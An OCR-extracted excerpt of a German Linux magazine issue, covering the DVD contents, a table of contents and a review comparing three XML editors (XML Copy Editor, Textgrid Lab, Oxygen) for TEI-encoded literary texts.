<strong>Linux</strong>-<strong>Magazin</strong>: Gab es für Sie eine Überraschung<br />
in den Ergebnissen der Studie?<br />
Christian Breitenstrom: Überraschungen gab<br />
es schon: Was das Patch-Management anbelangt,<br />
habe ich mich über einige Dinge<br />
gefreut, die ich so noch nicht kannte.<br />
Etwa darüber, dass die Unterstützung der<br />
Administratoren schon so weit geht, wie<br />
es momentan der Fall ist, und dass man<br />
eigentlich relativ gut informiert wird,<br />
wenn Patches vorliegen. <br />
n<br />
Infos<br />
[1] CMS-Studie im Netz: [https:// www. bsi.<br />
bund. de/ DE/ Publikationen/ Studien/ CMS/<br />
Studie_CMS. html]<br />
[2] Information Technology Infrastructure Library:<br />
[http:// www. itil. org/ en/ vomkennen/<br />
itil/ index. php]<br />
[3] Open Software Assurance Maturity Model:<br />
[http:// www. opensamm. org]
In eigener Sache: DELUG-DVD<br />
Privatsphäre, Debconf, Java<br />
Einführung 12/2010 11/2013<br />
Software<br />
Die DELUG-Käufer bekommen eine randvolle DVD: Auf der Silberscheibe finden sich die neueste Version der<br />
Distribution Ubuntu Privacy Remix, zahlreiche Tools, Tipps und Tricks zu den Artikeln, eine virtuelle CMS-Appliance<br />
von Bitname, ein kostenloses E-Book von Galileo, Debian-Videos und viel Software. Markus Feilner<br />
www.linux-magazin.de<br />
51<br />
Inhalt<br />
52 Bitparade<br />
Wer Texte mit Editoren formal nachbearbeiten<br />
möchte, setzt auf XML.<br />
58 Git-Annex<br />
Git-Annex bietet freie und sichere Synchro<br />
nisationsdienste für <strong>Linux</strong>-Anwender.<br />
60 Tooltipps<br />
Macchanger 1.6.0, Codesh 2.0.1, Enc 0.2,<br />
Arp Scan 1.9, Cyberprobe 0.20 und Palaver<br />
(August 2013) im Kurztest.<br />
64 Ubuntu Privacy Remix<br />
Am sichersten ist die einsame Insel! Wer<br />
ins Internet will, braucht Extras.<br />
Neben einem normalen <strong>Linux</strong>-<strong>Magazin</strong><br />
und dem Abonnement ohne Datenträger<br />
gibt es die DELUG-Ausgabe mit Monats-<br />
DVD, bei der die Redaktion den Datenträger<br />
nach einem speziellen Konzept<br />
zusammenstellt: In einer Art modularem<br />
System enthält er Programme und Tools,<br />
die in der jeweiligen <strong>Magazin</strong>-Ausgabe<br />
getestet und besprochen werden. Zudem<br />
gibt es nicht im Heft abgehandelte<br />
Software, die die Redaktion besonders<br />
empfiehlt, alles gebündelt unter einer<br />
HTML-Oberfläche.<br />
Abbildung 2: Kostenlos auf der DELUG-DVD: „Java 7<br />
– Mehr als eine Insel“ von Christian Ullenboom.<br />
Von der DVD bootet das Ubuntu-12.04-<br />
Derivat Privacy Remix mit hohem Sicherheitsfaktor.<br />
Ohne Verbindung zum Internet,<br />
ohne Zugriff auf die Festplatte lässt<br />
sich das Betriebssystem nur schwer manipulieren,<br />
aber auch nur mit Einschränkungen<br />
bedienen. Doch dafür glänzt es<br />
mit durchdachten Lösungen, etwa wenn<br />
es alle Daten grundsätzlich verschlüsselt<br />
in Truecrypt-Containern speichert. Auf<br />
der DVD liegt die Beta 1, die neueste<br />
Entwicklerversion.<br />
Nach Ubuntu Privacy Remix<br />
gibt’s Debconf-Videos<br />
Wer auf den Silberling mit dem Browser<br />
zugreift, der findet im Hauptmenü zwei<br />
Exklusiv-Einträge: Zum einen eine topaktuelle<br />
Zusammenstellung der besten<br />
Videos von der Debconf 2013. Da gibt<br />
sich die Debian-Prominenz ein Stelldichein,<br />
wenn etwa Bdale Garbee über die<br />
Freedom Box (Abbildung 1), Moray Allan<br />
über Pfade zu Debian, David McWherter<br />
und Jimmy Kaplowitz über Debian auf<br />
der Google Compute Engine oder James<br />
Bromberger zu Amazons <strong>Web</strong>service<br />
sprechen. Dazu gibt’s noch MySQL-Mastermind<br />
Michael „Monty“ Widenius, der<br />
sein Kind Maria DB vorstellt.<br />
E-Book: Mehr als eine Insel<br />
Von Christian Ullenboom stammt das für<br />
DELUG-Leser kostenlose E-Book (Abbildung<br />
2), ein richtiges Kultbuch: Die<br />
Fortsetzung des Java-Klassikers „Java ist<br />
auch eine Insel“ richtet sich vornehmlich<br />
an Entwickler und vermittelt umfassendes<br />
und kompetentes Praxiswissen zu<br />
den vielen Bibliotheken und Technologien.<br />
Am Beispiel konkreter Java-Projekte<br />
zeigt der Autor Christian Ullenboom, was<br />
Abbildung 1: Bdale Garbee bei seinem Vortrag zur Freedom Box.<br />
der Entwickler wissen muss über Swing,<br />
Netzwerk- und Grafikprogrammierung,<br />
RMI und <strong>Web</strong>services, Java Server Pages<br />
und Servlets, Applets, JDBC, Reflection<br />
und Annotationen, Logging und Monitoring,<br />
Java Native Interface (JNI) und<br />
vieles mehr. Gedruckt kostet das Werk<br />
bei Galileo 50 Euro, DELUG-Käufer bekommen<br />
es einfach so.<br />
Als virtuelle Appliance liegt auf der DVD<br />
Django, ein in Python geschriebenes Content<br />
Management Framework <strong>fürs</strong> <strong>Web</strong>.<br />
Es bringt einen objektrelationalen Mapper<br />
für die Datenbanken MySQL, Oracle,<br />
PostgreSQL und SQlite sowie Drittanbieter-Backends<br />
für DB2 und SQL Server.<br />
Die vorliegende virtuelle Maschine bietet<br />
dem Admin ein komplett vorkonfiguriertes<br />
Framework inklusive Datenbanken.<br />
Software und Videos<br />
Damit nicht genug: Zu den Tools aus<br />
dem Titelthema „CMS“, der Bitparade<br />
und den Tooltipps gesellen sich auf der<br />
DVD auch noch die neuesten Versionen<br />
der in diesem <strong>Linux</strong>-<strong>Magazin</strong> besprochenen<br />
Softwaretools Git-Annex, Varnish,<br />
Volatility und Open Nebula. n
Software<br />
www.linux-magazin.de Bitparade 11/2013<br />
52<br />
Drei XML-Editoren im Test<br />
Alles ausgezeichnet<br />
Wer literarische Texte mit elektronischen Mitteln formal nachbearbeiten möchte, der setzt im Idealfall auf XML<br />
und die Schemata der Text Encoding Initiative (TEI). Drei Editoren für den <strong>Linux</strong>-Desktop helfen dabei. Harald Jele<br />
© Kjetil Kolbjornrud, 123RF.com<br />
Die Extensible Markup Language zeichnet<br />
Dokumente zum Austausch zwischen<br />
Computersystemen aus, unabhängig von<br />
Plattform und Implementation. Struktur<br />
und Grammatik der XML-Dateien beschreibt<br />
eine so genannte Dokumenttyp-<br />
Definition (DTD). Ein weitverbreitetes<br />
Dokumentenformat, das eine DTD sowohl<br />
für SGML als auch für XML definiert,<br />
ist Docbook [1]. Es kommt vor<br />
allem bei technischen Dokumentationen<br />
zum Einsatz, zum Beispiel im <strong>Linux</strong> Documentation<br />
Project und bei den KDEund<br />
Gnome-Handbüchern.<br />
Ein anderes Dokumentenformat zum Kodieren<br />
und Austauschen von Texten ist<br />
TEI (siehe Kasten „Die Text Encoding<br />
Initiative“). Vor allem Editionswissenschaftler<br />
profitieren von den freien Standards.<br />
Abbildung 1 zeigt den typischen<br />
Ablauf im Editionsvorgang: Ein Benutzer<br />
redigiert einen Text aufgrund einer analogen<br />
oder digitalen Vorlage. Er setzt dazu<br />
einen XML-Editor mit Templates und ei-<br />
ner <strong>Vorschau</strong>funktion ein. Mittels XSLT-<br />
Stylesheets, die etwa die TEI zur Verfügung<br />
stellt, ist es möglich, so bearbeitete<br />
Texte in andere Formate wie HTML, PDF<br />
oder Ähnliches umzuwandeln. Als Transformationsprozessor<br />
kommt meist Saxon<br />
[4] zum Einsatz.<br />
Da in der Regel mehrere Anwender an<br />
einem Projekt arbeiten, empfiehlt sich<br />
eine Versionsverwaltung wie CVS, SVN<br />
oder Git. Ein Redakteur oder Herausgeber<br />
entnimmt ihr den letzten Stand und gibt<br />
nach der Qualitätskontrolle das Dokument<br />
über einen Publikationsserver frei.<br />
Editionsprojekte nutzen dazu häufig Sade<br />
[5] der Berlin-Brandenburgischen Akademie<br />
der Wissenschaften oder XTF [6]<br />
der California Digital Library. Das Kernstück<br />
des Editionsprozesses bildet jedoch<br />
der XML-Editor. Im Idealfall bietet er eine<br />
Template-Verwaltung und integriert eine<br />
Transformations- beziehungsweise <strong>Vorschau</strong>funktion.<br />
Dieser Artikel stellt drei XML-Editoren<br />
mit Extrafeatures vor. Den Auftakt macht<br />
der XML Copy Editor [7], der auch in den<br />
Repositories der meisten Distributionen<br />
zu finden ist. Das Textgrid Lab [8] ist<br />
mehr als ein reiner Editor und vereint<br />
zusätzliche Dienste und Werkzeuge unter<br />
einer Arbeitsoberfläche. Als drittes<br />
Die Text Encoding Initiative<br />
Das TEI-Konsortium kümmert sich um den<br />
Entwurf, die Entwicklung und die Verbreitung<br />
von Standards zur elektronischen Speicherung<br />
und zur Weiterverarbeitung von Texten; die<br />
Standards sind offen und über die <strong>Web</strong>seite<br />
zugänglich [2]. Die Mitglieder der Organisation<br />
stammen vorwiegend aus dem akademischen<br />
Bereich sowie aus Forschungseinrichtungen,<br />
die sich mit Themen rund um die maschinelle<br />
Verarbeitung von Dokumenten befassen. Der<br />
Schwerpunkt liegt bei Texten aus den Geistes-,<br />
Sozial- und Wirtschaftswissenschaften sowie<br />
bei der Linguistik.<br />
Die Erkenntnisse fließen kontinuierlich in die<br />
Weiterentwicklung der Standards ein. Obwohl<br />
dieses Wissen seit rund 20 Jahren vorhanden<br />
und in den einschlägigen Kreisen bekannt ist,<br />
ignorieren es viele Benutzer. Dass sie dabei<br />
ganze Editionsprojekte unter Umständen in<br />
eine Sackgasse manövrieren, nehmen sie in<br />
Kauf. Ein möglicher Grund für dieses Verhalten<br />
ist die Scheu vor der Arbeit mit XML-kodierten<br />
Texten. Die meisten bevorzugen eine bekannte<br />
Arbeitsoberfläche, wie sie gängige Textverarbeitungen<br />
bieten.<br />
Moderne XML-Editoren unterstützen den Anwender,<br />
erlauben unterschiedliche Sichten auf<br />
die Dokumente und enthalten viele Werkzeuge,<br />
die das Bearbeiten erleichtern. Sie helfen dabei,<br />
die Kodierung des Quelltextes nicht aus den<br />
Augen zu verlieren. Mit Oxgarage [3] bietet<br />
die Text Encoding Initiative sogar ein Tool, das<br />
vorhandene Officedateien konvertiert.
Knoten enthält. Damit sind diese sofort<br />
und ohne Umweg zugänglich, um sie zu<br />
bearbeiten oder zu duplizieren. Schön<br />
wäre eine weitere Anzeige aller im aktuellen<br />
Kontext in Frage kommenden Tags.<br />
Da der XML Copy Editor in der Lage ist,<br />
TEI- und Docbook-Kodierungen zu validieren,<br />
wäre eine entsprechende Darstellung<br />
durchaus machbar.<br />
In den Programmeinstellungen können<br />
Anwender die Schriftarten und deren<br />
Größe bestimmen sowie die Anzeige<br />
von XML-Tags und ‐Attributen abschalten.<br />
Das ist insbesondere dann hilfreich,<br />
wenn ein umfangreiches Dokument geöffnet<br />
ist und sich der Nutzer ganz auf<br />
den Inhalt und nicht auf die Kodierung<br />
konzentrieren möchte. Zudem erlaubt<br />
das Programm als einziges im Test, Tags<br />
zu sperren und sie somit vor versehentlichen<br />
Modifikationen zu schützen. Die<br />
Sperre aktiviert der XML Copy Editor automatisch,<br />
wenn der Benutzer die Tags<br />
ausblendet. Die Statusleiste am unteren<br />
Rand verrät, ob die Tags gerade versteckt<br />
und geblockt sind (Abbildung 3).<br />
Bitparade 11/2013<br />
Software<br />
Abbildung 1: Beim Editionsprozess greifen viele Mechanismen ineinander. Hier sind beispielhaft der Ablauf<br />
und das Zusammenspiel der Komponenten für literarische Werke dargestellt.<br />
Programm im Bunde tritt der proprietäre<br />
Oxygen XML Editor [9] an. Alle drei<br />
Testkandidaten sollten vor allem unter<br />
Beweis stellen, wie gut sie mit TEI-kodierten<br />
Texten zusammenarbeiten. Der<br />
Vollständigkeit halber schauten sich die<br />
Tester auch an, wie es mit der Docbook-<br />
Unterstützung aussieht.<br />
E XML Copy Editor<br />
Der erste Testkandidat steht unter der<br />
GPL. Die Projektseite [7] bietet eine ausführbare<br />
Datei für Windows-Systeme, ein<br />
Paket für Ubuntu-Anwender sowie die<br />
Quellen des Programms zum Download<br />
an. Gängige Distributionen enthalten den<br />
Editor in den Standardpaketquellen. Das<br />
mit Ubuntu 13.04 ausgelieferte Paket ist<br />
allerdings fehlerhaft. Die Tester legten daher<br />
selbst Hand an und kompilierten das<br />
Programm aus den Quellen. Sie folgten<br />
dabei der Anleitung aus der mitgelieferten<br />
Datei »INSTALL«. Im Test trat Version<br />
1.2.0.9 vom Oktober 2012 an.<br />
Nach dem Start präsentiert sich der XML<br />
Copy Editor schlicht und aufgeräumt<br />
(siehe Abbildung 2). Nur die wichtigsten<br />
Editierfunktionen sind direkt zugänglich;<br />
alle weiteren Features bringt<br />
das Programm in den Menüs unter. Viele<br />
Dinge sind zudem über Funktionstasten<br />
erreichbar. Benutzer erkennen auf einen<br />
Blick die Struktur der XML-Datei, denn<br />
das Programm zeigt diese in einer Baumansicht<br />
an. Zusammengehörige Teile<br />
klappt ein Mausklick auf und wieder zu.<br />
Der XML Copy Editor bietet so genanntes<br />
Word Wrapping. Hat der Anwender es<br />
aktiviert, bricht das Tool lange Zeilen in<br />
der Anzeige um.<br />
Am rechten Bildschirmrand befinden sich<br />
jene Elemente, die der jeweils aktuelle<br />
Wohlfühlbereich<br />
Der XML Copy Editor schlägt sich gleichermaßen<br />
gut bei TEI-kodierten Texten<br />
wie bei Docbook-Dokumenten. Er<br />
validiert die Dateien und prüft, ob sie<br />
wohlgeformt und gültig sind. Er akzeptiert<br />
externe DTD-Dateien (und lädt diese<br />
gegebenenfalls nach) sowie interne DTD-<br />
Regeln. Fehlermeldungen und Warnungen<br />
öffnet er in einem eigenen Bereich<br />
am unteren Rand (Abbildung 2).<br />
Über das Menü blenden Benutzer zudem<br />
eine Eingabezeile ein (»Command«)<br />
und rufen von dort externe Programme<br />
wie etwa Versionsverwaltungen, das<br />
Transformationstool Saxon [4], einen<br />
<strong>Web</strong>browser oder einen anderen Editor<br />
auf. Über Checkboxen setzen sie ihr<br />
Kommando ab, halten es an oder übergeben<br />
mittels Variablen entsprechende<br />
Argumente.<br />
Innerhalb der geöffneten Dokumente<br />
wendet das Tool Xpath-Ausdrücke an und<br />
durchsucht Dateien anhand der XML-<br />
Struktur. Außerdem dürfen Benutzer in<br />
der Suchfunktion reguläre Ausdrücke zu<br />
Abbildung 2: Der XML Copy Editor präsentiert sich in unaufdringlichem Design, sodass Anwender sich schnell<br />
zurechtfinden. Optional erscheinen im unteren Bereich Meldungen und eine Eingabezeile.<br />
www.linux-magazin.de<br />
53
Software<br />
www.linux-magazin.de Bitparade 11/2013<br />
54<br />
Abbildung 3: Benutzer dürfen Tags ausblenden und sperren. XML Copy Editor ist der einzige Testkandidat,<br />
der diesen Schutz vor versehentlichen Änderungen bietet.<br />
Hilfe nehmen. Leider steht das Feature<br />
nicht zur Verfügung, wenn der Nutzer<br />
»Suchen und Ersetzen« auswählt.<br />
Im Test fiel ein praktisches Zusatzfeature<br />
besonders angenehm auf. Wählt der Anwender<br />
»Öffne großes Dokument«, so deaktiviert<br />
das Programm die Möglichkeit,<br />
Dokumententeile auf- und zuzuklappen.<br />
Auch das Syntax Highlighting steht in diesem<br />
Modus nicht zur Verfügung. Beides<br />
erhöht die Performanz, denn der Editor<br />
reagiert im Umgang mit umfangreichen<br />
Texten deutlich schneller.<br />
Der XML Copy Editor greift zur Transformation<br />
in andere Formate wahlweise auf<br />
ein externes oder ein eingebettetes XSL-<br />
Stylesheet zurück. Über das Menü »XML«<br />
definieren Anwender externe Dateien.<br />
Interne sprechen sie über das Welt kugel-<br />
Icon in der Werkzeugleiste an. Diese<br />
komfortable und flexible Möglichkeit,<br />
XSLT-Prozesse unterschiedlich anzusprechen,<br />
bieten nur wenige Editoren – von<br />
den Testkandidaten kann nur Oxygen das<br />
Gleiche leisten.<br />
E Textgrid Lab<br />
Der Textgrid-Verbund [10] setzt sich zum<br />
Ziel, eine virtuelle Forschungsumgebung<br />
für Geistes- und Kulturwissenschaftler<br />
sowie eine Plattform für digitale Editionsprojekte<br />
zu schaffen. Die von Textgrid<br />
entwickelte Software erlaubt es Nutzern,<br />
alleine oder im Team an textbasierten<br />
Forschungsdaten zu arbeiten.<br />
Im Wesentlichen bietet der Verbund zwei<br />
Komponenten an: Das Textgrid Repository<br />
ist ein Archiv, das Wissenschaftler und<br />
ihre Ergebnisse untereinander vernetzt,<br />
und das Textgrid Lab [8] ist der Client,<br />
der mehrere Dienste und Werkzeuge –<br />
darunter den getesteten XML-Editor – unter<br />
einer Oberfläche vereint. Alle über<br />
den Verbund freigegebenen Texte stehen<br />
automatisch unter einer Creative-Commons-Lizenz.<br />
Textgrid Lab ist in Java implementiert<br />
und steht für <strong>Linux</strong>, Windows und OS X<br />
zur Verfügung. Die Homepage bietet im<br />
Downloadbereich kompilierte Binaries für<br />
32- und 64-Bit-Systeme an. Zudem stehen<br />
die Quellen der hauptsächlich unter der<br />
LGPL 3 veröffentlichten Software in einem<br />
Subversion-Repository [11] bereit.<br />
Auf dem Ubuntu-Testsystem verlangte<br />
das Programm außerdem die Bibliothek<br />
»libwebkitgtk«. Im Test trat Version 2.0.4<br />
vom Juli 2013 an.<br />
Über den Startbildschirm (siehe Abbildung<br />
4) erreichen Benutzer die verschiedenen<br />
Module des Clients. Die<br />
»Suche« führt direkt ins Textgrid-System<br />
und bietet Zugriff auf alle dort abgelegten<br />
und indizierten Texte. Die »Projekt‐<br />
& Benutzerverwaltung« unterstützt<br />
bei umfangreichen Projekten. Hinter<br />
»Text‐Image‐Link‐Editor« verbirgt sich<br />
ein Tool zum Verknüpfen von Bild und<br />
Text, und »Wörterbücher« erlaubt einen<br />
direkten Zugang zum Trierer Wörterbuchnetz.<br />
Texte, Bilder, Metadaten und<br />
so weiter, die zusammengehören, können<br />
Anwender über »Aggregationen« mit<br />
Drag & Drop bearbeiten und verknüpfen.<br />
Über den gleichnamigen Eintrag starten<br />
sie den XML-Editor.<br />
Textgrid Lab basiert auf der offenen Entwicklungsumgebung<br />
Eclipse [12], was<br />
den Vorteil hat, dass die Macher nicht jedes<br />
Feature neu programmieren müssen,<br />
sondern auf die Vielfalt der vorhandenen<br />
Plugins zurückgreifen können. Die von<br />
den Textgrid-Lab-Herstellern freigegebenen<br />
Erweiterungen installieren Benutzer<br />
komfortabel über den Marketplace nach.<br />
Hier finden sie beispielsweise linguistische<br />
Hilfswerkzeuge, Eingabehilfen für<br />
Links oder eine Verbindung zum Publikationsserver<br />
Sade [5].<br />
Verteilte Ressourcen<br />
Alle Benutzer, die bereits Erfahrung mit<br />
Eclipse gesammelt haben, dürften sich in<br />
Textgrid Lab schnell zurechtfinden. Erleichterung<br />
für Einsteiger verschaffen die<br />
vordefinierten Ansichten (Perspektiven<br />
genannt), die für bestimmte Aufgaben<br />
wichtige Werkzeuge versammeln und als<br />
Unterfenster im GUI anordnen. Hat man<br />
sich erst einmal an die geteilte Ansicht<br />
und die Darstellung in Frames gewöhnt,<br />
zeigt sich die Arbeitsumgebung von ihrer<br />
besten Seite.<br />
Textgrid Lab ist offensichtlich explizit für<br />
XML-TEI konzipiert. Öffnet der Benutzer<br />
eine Docbook-Datei mit der Endung<br />
».docbook«, so reicht das Programm<br />
diese zunächst an den <strong>Web</strong>browser weiter.<br />
Um sie im integrierten XML-Editor<br />
zu betrachten, ändern Nutzer entweder<br />
in den Einstellungen die Dateizuordnungen<br />
(Abteilung »Allgemein | Editoren«)<br />
oder die Endung in ».xml«. Danach stellt<br />
das Programm die Datei ordentlich dar,<br />
erkennt auch die Strukturelemente und<br />
lädt die DTD vollständig.<br />
Geöffnete Dokumente in der XML-Editor-<br />
Perspektive erscheinen in einem elegant<br />
zurückhaltenden Fenstermodus (siehe<br />
Abbildung 5). Über drei Frames erreichen<br />
Benutzer die Gliederung (also die XML-
Abbildung 4: Über den Startbildschirm erreichen Benutzer alle Module des Textgrid Lab, darunter auch den<br />
integrierten XML-Editor und den Marketplace zum Installieren von Erweiterungen.<br />
Baumstruktur), den getaggten Inhalt des<br />
Dokuments sowie die Eigenschaften und<br />
Werte der aktuell ausgewählten Kategorie.<br />
Ist der Bildschirm zu klein, schließt<br />
ein beherzter Klick auf das Kreuz das<br />
jeweilige Unterfenster und macht Platz<br />
für andere Frames. Dieser Editor ist nicht<br />
in der Lage, Tags zu sperren. Im <strong>Vorschau</strong>modus<br />
blendet Textgrid Lab sie<br />
lediglich aus.<br />
Leider stellt das Programm seinen vollen<br />
Funktionsumfang nur zur Verfügung,<br />
wenn sich der Anwender beim Textgrid-<br />
System registriert und danach im Programm<br />
anmeldet. Viele der Module sind<br />
davon betroffen, etwa die Projekt- und Benutzerverwaltung,<br />
Datei-Operationen wie<br />
Speichern von Revisionen und die Gestaltung<br />
eines eigenen Workflow. Der XML-<br />
Editor steht auch ohne Login bereit.<br />
Schade ist auch, dass die Entwickler viele<br />
Eclipse-Plugins, die in der täglichen Arbeit<br />
eine zentrale Rolle spielen, nicht<br />
über den Marketplace freigegeben haben.<br />
Dazu gehört die Integration einer<br />
Versionsverwaltung, die grundsätzlich<br />
in Eclipse bereitsteht, nur eben nicht in<br />
Textgrid Lab.<br />
Lädt der Benutzer über »Import« ein<br />
Dokument zum Textgrid-Server hoch,<br />
so überprüft die Software automatisch,<br />
ob es wohlgeformt und valide ist. Nur<br />
Dokumente, die beide Checks bestehen,<br />
landen im Volltextindex und sind darüber<br />
auffindbar. Alle anderen speichert das<br />
System lediglich. Das Programm kann<br />
auch die Docbook-Kodierung validieren,<br />
erkennt vorhandene Fehler und zeigt<br />
diese an. Als Grundlage nutzt es die geladene<br />
DTD. Bei der Transformation greift<br />
Textgrid Lab nur auf interne Stylesheets<br />
zu und erkennt externe XSL-Dateien nicht<br />
an. Eine Validierung ohne Einmischung<br />
der Textgrid-Server fehlt ebenfalls.<br />
E Oxygen XML Editor<br />
Der letzte Testkandidat in dieser Runde<br />
ist das einzige Tool, das unter einer proprietären<br />
Lizenz steht. Einzelplatzlizenzen<br />
für den Oxygen XML Editor [9] gibt<br />
es bereits ab rund 100 US-Dollar für das<br />
akademische Umfeld. Zusätzlich bietet<br />
Bitparade 11/2013<br />
Software<br />
www.linux-magazin.de<br />
55<br />
Abbildung 5: Textgrid Lab teilt das Programmfenster in verschiedene Bereiche auf. Welche das sind, hängt von der gewählten Perspektive ab.
Software<br />
www.linux-magazin.de Bitparade 11/2013<br />
56<br />
Abbildung 6: Oxygen XML Editor punktet mit einem integrierten SVN-Client, der als Eclipse-Plugin eingebunden ist.<br />
der Hersteller Syncro Soft eine 30-tägige<br />
Testlizenz an. Zum Download stehen 32-<br />
und 64-Bit-Varianten für <strong>Linux</strong>, OS X und<br />
Windows bereit, die auch eine Oracle/<br />
Sun-Java-VM (Version 1.7.0_15) enthalten.<br />
Als Minimalvoraussetzungen nennen<br />
die Macher 1 GByte RAM und 300 MByte<br />
Festplattenplatz; empfohlen sind 2 GByte<br />
RAM. Das Java-Programm arbeitet laut<br />
Aussage der Entwickler nur mit der Java-<br />
VM von Oracle/Sun zusammen.<br />
Die rumänische Softwareschmiede will<br />
mit dem Oxygen XML Editor Anfänger<br />
und fortgeschrittene Nutzer ansprechen.<br />
Um diesen Spagat zu schaffen, integrieren<br />
die Entwickler zahlreiche XML-Methoden<br />
und ‐Technologien und platzieren<br />
diese in einer geschickt gestalteten Menüund<br />
Kontextmenü-Struktur. So sind die<br />
Programmfunktionen schnell erreichbar,<br />
ohne den Neuling mit einer überladenen<br />
Oberfläche zu überfordern. Wer mit dem<br />
Textgrid Lab vertraut ist, der findet einige<br />
Bedienelemente wieder.<br />
Auch vom Oxygen XML Editor existiert<br />
neben der Stand-alone-Variante eine weitere<br />
als Eclipse-Plugin, die somit vom<br />
flexiblen Unterbau der Entwicklungsumgebung<br />
profitiert. Anders als beim<br />
zweiten Testkandidaten sind sämtliche<br />
Eclipse-Erweiterungen bereits vorbildlich<br />
eingebettet. Das gilt unter anderem für<br />
den Umbruch überlanger Zeilen in der<br />
Anzeige und eine Versionsverwaltung<br />
(siehe Abbildung 6).<br />
Raum zum Atmen<br />
Im Bearbeitungsmodus ähnelt die Anzeige<br />
der von Textgrid Lab (siehe Abbildung<br />
7). Der Oxygen XML Editor teilt<br />
die Oberfläche in mehrere Unterfenster<br />
auf. Benutzer haben über die linke Seite<br />
schnellen Zugriff auf ihre Projekte und<br />
die Gliederung der Dokumente. Rechts<br />
von der geöffneten XML-Datei listet das<br />
Programm die Attribute auf und blendet<br />
Transformationswerkzeuge ein. Anwender,<br />
die ihre Arbeit zwischendurch in<br />
einem Anzeigeformat wie HTML, PDF<br />
oder E-Pub kontrollieren möchten, finden<br />
dort entsprechende Stylesheets. Deren<br />
Pfade müssen sie nicht ins Dokument<br />
einbetten.<br />
Der Editor bietet eine Baumansicht mit<br />
der Möglichkeit, Tags ein- und auszuklappen.<br />
Im Bearbeitungsmodus (»AUTOR«)<br />
darf der Nutzer Tags ausblenden, aber<br />
nicht sperren. Als einziger Kandidat im<br />
Test interpretiert der Editor reguläre Ausdrücke<br />
auch beim Suchen und Ersetzen.<br />
Zudem dürfen Benutzer die Suche auf<br />
XML-Elemente einschränken.<br />
Abbildung 7: Das Programmfenster ist in mehrere Unterfenster aufgeteilt. Rechts blendet der Oxygen XML Editor unter anderem Transformationstools ein.
Die Vorgaben des TEI-Konsortiums hat<br />
der Editor vorbildlich implementiert und<br />
erkennt auch das Docbook-Format. Er<br />
wählt einen <strong>Vorschau</strong>modus, der dem<br />
Style sheet entspricht, offeriert Funktionen,<br />
die Validität und Wohlgeformtheit<br />
überprüfen sowie einen eingebauten<br />
Debugger. Auf formale Fehler weist das<br />
Programm direkt beim Öffnen hin. Wirklich<br />
praktisch ist, dass es Benutzern beim<br />
Schachteln der XML-Tags unter die Arme<br />
greift und Vorschläge macht.<br />
Der Oxygen XML Editor enthält Verknüpfungen<br />
zu gängigen XML-Datenbanken<br />
und erlaubt so, die meisten Publikationsserver<br />
anzubinden, die XML-TEIkodierte<br />
Texte verarbeiten können. Alle<br />
Projektverwaltungs-Vorgänge bildet er im<br />
lokalen Dateisystem ab. Benutzer dürfen<br />
mit eigenen Templates arbeiten und die<br />
Vorlage jederzeit aus einer Liste aufrufen<br />
und verwenden.<br />
Der Editor integriert Methoden zur Weiterverarbeitung<br />
von XML-Dokumenten.<br />
Oxygen kann externe und interne Stylesheets<br />
ansteuern. Neben XSLT unterstützt<br />
die Software auch Xquery, Xpath und das<br />
moderne Xproc. XML Processing ist eine<br />
vom W3C standardisierte XML-Sprache,<br />
die eine Stapelverarbeitung von XML-<br />
Dokumenten über so genannte Pipelines<br />
realisiert.<br />
Hervorgehoben<br />
Um eine XML-TEI-Arbeitsumgebung unter<br />
<strong>Linux</strong> einzurichten, reichen eigentlich ein<br />
einfacher Texteditor, ein Validierungstool,<br />
gegebenenfalls eine Versionsverwaltung<br />
und eine Projektmanagement-Software.<br />
Komfortabler gestaltet sich das Ganze<br />
mit dem XML Copy Editor, der mit seinen<br />
variablen Anzeigemöglichkeiten, der<br />
übersichtlichen Bedienung und dem Sperren<br />
von Tags punktet. Xpath und XSLT-<br />
Unterstützung, eine Suche mit regulären<br />
Ausdrücken und ein integrierter Validator<br />
runden das positive Bild ab. Verbesserungswürdig<br />
ist nach den Erkenntnissen<br />
der Tester die Zusammenarbeit mit externen<br />
Programmen; eine Template-Verwaltung<br />
wäre ein Gewinn.<br />
Eine deutliche Steigerung des Komforts<br />
bietet ein Baukastensystem wie das<br />
Textgrid Lab. Das Programm kombiniert<br />
den XML-Editor geschickt mit einer Projektverwaltung<br />
und Möglichkeiten zum<br />
Publizieren. Der Austausch mit anderen<br />
Textgrid-Anwendern ist ein weiterer Bonuspunkt.<br />
Zum vollständigen Glück fehlt<br />
vor allem eine lokale Benutzer- und Projektverwaltung;<br />
auch die fehlende Kooperation<br />
mit externen XSL-Stylesheets ist<br />
ein Defizit. Die Eclipse-Basis sorgt zwar<br />
für hohe Flexibilität, leider machen sich<br />
die Entwickler dies jedoch nicht zunutze,<br />
da sie viele brauchbare Plugins im Marketplace<br />
ausschließen.<br />
Der Oxygen XML Editor ist das umfangreichste<br />
Programm im Test. Wer sich<br />
ernsthaft mit XML-TEI-kodierten Dokumenten<br />
auseinandersetzen möchte, der<br />
kommt auf Dauer an dieser ausgereiften<br />
Anwendung kaum vorbei. Eine Open-<br />
Source-Variante (notfalls ohne den vollen<br />
Funktionsumfang) wäre schön, zumal<br />
bereits viele freie Standards integriert<br />
sind, die diesen Wunsch als gerechtfertigt<br />
erscheinen lassen. (hej) n<br />
Infos<br />
[1] Docbook:<br />
[http:// www. oasis-open. org/ docbook]<br />
[2] TEI: [http:// www. tei‐c. org]<br />
[3] Oxgarage:<br />
[http:// www. tei‐c. org/ oxgarage]<br />
[4] Saxon: [http:// www. saxonica. com]<br />
[5] Sade (Scalable Architecture for Digital<br />
Editions): [http:// www. bbaw. de/ telota/<br />
software/ sade]<br />
[6] XFT: [http:// xtf. cdlib. org]<br />
[7] XML Copy Editor:<br />
[http:// xml‐copy‐editor. sourceforge. net]<br />
[8] Textgrid Lab: [http:// www. textgridlab. org]<br />
[9] Oxygen XML Editor:<br />
[http:// www. oxygenxml. com]<br />
[10] Forschungsverbund Textgrid:<br />
[http:// www. textgrid. de]<br />
[11] Subversion-Repository Textgrid Lab:<br />
[https:// develop. sub. uni‐goettingen. de/<br />
repos/ textgrid]<br />
[12] Wörterbuchnetz der Universität Trier:<br />
[http:// woerterbuchnetz. de]<br />
[13] Eclipse: [http:// www. eclipse. org]<br />
Der Autor<br />
Dr. Harald Jele ist Mitarbeiter<br />
an der Universität<br />
Klagenfurt und beschäftigt<br />
sich zurzeit unter anderem<br />
mit der Migration der<br />
Klagenfurter Ausgabe der<br />
Werke Robert Musils.
Software<br />
www.linux-magazin.de Git-Annex 11/2013<br />
58<br />
Dateien verteilen und verwalten mit Git-Annex<br />
Daten-Lagerist<br />
